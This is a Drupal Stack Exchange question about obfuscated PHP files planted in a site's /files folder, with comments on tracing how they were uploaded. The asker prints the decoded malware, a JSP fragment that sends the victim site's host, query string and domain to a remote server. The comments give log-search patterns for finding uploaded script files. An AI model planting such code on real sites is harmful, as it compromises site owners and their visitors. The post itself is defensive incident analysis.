I was debugging a drupal 7 site and noticed that the /files folder contained a bunch of .php files with the following code:

enter image description here

It looks like the code is encrypting and gzipping the file that it wants to run with eval(). I was able to output the code and it does the following:

[root@www01 files]# php uuhgjk.jsp 
<%@ page language="java" import="java.util.*" pageEncoding="GB2312"%>
<%@page import="com.http.web.*" %>


String Remote_server="";

String host_name="http://" + request.getRemoteAddr() + request.getRequestURI();

String Remote_file = Remote_server + "/index.php?host=" + host_name + "&url=" + request.getQueryString() + "&domain="+request.getServerName();

String Content_mb = myHttpClient.getHttpget(Remote_file);



My question is how did someone upload something to this /files folder? Is there a way to prevent php files from executing from this folder?

  • 2
    I'm afraid this is far too broad for Q+A, and not related to Drupal in any way that wasn't already covered in your question a couple of years ago. The best advice would be to get a security professional to audit your server for vulnerabilities, it's something you need to be sure about – Clive Jan 18 '17 at 19:33
  • 1
    I was able to find the security hole in this by doing the following. I moved all the .php files in the /files folder to another folder. Then I did put the /files folder under a git repo "git init" and did a commit of all those files. Now I wait for new files to be created, which will show up in git status. Once a file is created, I search for this file in the apache access logs, which will show a POST of where it came from. And for me it was a ckeditor that was the vulnerability! – Patoshi パトシ Jan 19 '17 at 16:24
  • 1
    Another thing I did was open up your apache logs and do the following search in VIM: "POST(.*php\|.*xml\|.*jsp\|.*asp) -- this will show you all the POST or uploads to your server. 99% of time time there should never be a .php .jsp .asp file uploaded. This will further increase narrowing down where the security hole is. – Patoshi パトシ Jan 19 '17 at 16:43
  • 1
    Output the log with the following in bash: ack 'POST(.*php|.*xml|.*jsp|.*asp)' www.blah.com-access_log > mylog.txt – Patoshi パトシ Jan 19 '17 at 18:05
  • 1
    Another solution is to monitor the access log in real time: tail -f www.xxx.com-access_log | ack -B2 'POST(.*php|.*xml|.*jsp|.*asp|.*txt|.*file)' – Patoshi パトシ Jan 20 '17 at 19:42

Browse other questions tagged or ask your own question.